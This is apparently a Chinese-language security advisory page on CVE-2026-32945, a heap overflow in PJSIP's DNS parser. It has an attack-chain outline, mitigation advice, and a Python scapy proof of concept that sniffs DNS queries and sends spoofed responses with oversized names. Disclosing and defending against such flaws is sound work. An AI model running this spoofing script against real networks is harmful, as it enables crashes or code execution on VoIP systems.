IPBUF安全漏洞报告
English
CVE-2026-32945 CVSS 9.8 严重

CVE-2026-32945 PJSIP DNS解析器堆缓冲区溢出漏洞

披露日期: 2026-03-20

漏洞信息

漏洞编号
CVE-2026-32945
漏洞类型
堆缓冲区溢出
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
PJSIP

相关标签

堆缓冲区溢出PJSIP远程代码执行DNS解析CVSS-9.8

漏洞概述

PJSIP是一款开源的多媒体通信库。在2.16及以下版本中,其DNS解析器的名称长度处理程序存在严重的基于堆的缓冲区溢出漏洞。该漏洞主要影响使用PJSIP内置DNS解析器的应用程序。由于无需用户交互和认证,攻击者可利用此漏洞通过网络发起攻击,造成远程代码执行或服务拒绝,严重威胁系统安全。

技术细节

该漏洞的根源在于PJSIP库中DNS解析器对DNS响应包中名称长度的处理逻辑存在缺陷。具体而言,当解析器处理DNS响应时,未对读取的名称长度进行充分的安全边界检查,导致向堆分配的缓冲区写入超出其容量的数据,从而引发基于堆的缓冲区溢出。攻击者可以利用此漏洞通过精心构造的恶意DNS响应数据包进行攻击。由于PJSIP常用于VoIP等通信应用,若该应用依赖PJSIP内置的解析器(即配置了nameserver),攻击者即可通过网络向量发起攻击。利用该溢出漏洞,攻击者能够覆盖堆内存中的关键指针或返回地址,从而改变程序的执行流程,最终可能在目标系统上实现远程代码执行(RCE),获取系统最高权限,或导致应用程序崩溃,造成拒绝服务。

攻击链分析

STEP 1
侦察
攻击者识别目标网络中使用PJSIP库且启用了内置DNS解析器的应用程序。
STEP 2
投递
攻击者通过网络向目标应用程序发送特制的恶意DNS响应数据包,或者通过中间人攻击(MITM)篡改合法的DNS响应。
STEP 3
利用
目标应用程序的PJSIP DNS解析器解析响应时,由于未正确验证名称长度,导致缓冲区溢出,覆盖堆上的关键内存数据。
STEP 4
目标达成
攻击者控制程序执行流,实现远程代码执行(RCE),或导致应用程序崩溃(DoS),造成机密性、完整性和可用性的全面损失。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ PoC for CVE-2026-32945 (PJSIP DNS Parser Heap Overflow) This script simulates a malicious DNS server response to trigger the overflow. """ from scapy.all import * def send_malicious_dns(pkt): if pkt.haslayer(DNSQR): print(f"[+] Received DNS query from {pkt[IP].src}") # Construct a DNS response with an overly long name to trigger heap overflow # PJSIP fails to check the length of the name in the response overflow_len = 500 malicious_name = "A" * overflow_len + ".com" # Craft the DNS Response ip = IP(dst=pkt[IP].src, src=pkt[IP].dst) udp = UDP(dport=pkt[UDP].sport, sport=53) dns = DNS( id=pkt[DNS].id, qr=1, # Response aa=1, # Authoritative qd=pkt[DNS].qd, an=DNSRR( rrname=malicious_name, type="A", ttl=10, rdata="6.6.6.6" ) ) try: send(ip/udp/dns, verbose=0) print("[!] Sent malicious DNS response payload") except Exception as e: print(f"[-] Error sending packet: {e}") # Sniff for DNS queries on port 53 and respond if __name__ == "__main__": print("[*] Starting malicious DNS responder for CVE-2026-32945...") sniff(filter="udp port 53", prn=send_malicious_dns)

影响范围

PJSIP <= 2.16

防御指南

临时缓解措施
对于无法立即升级到修复版本的用户,建议在PJSIP配置文件中将nameserver_count设置为零,以禁用内置DNS解析功能,转而依赖操作系统的解析器。此外,也可以通过编程方式使用pjsip_resolver_set_ext_resolver()接口挂接一个经过安全审计的外部解析器实现,从而绕过存在漏洞的代码路径。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表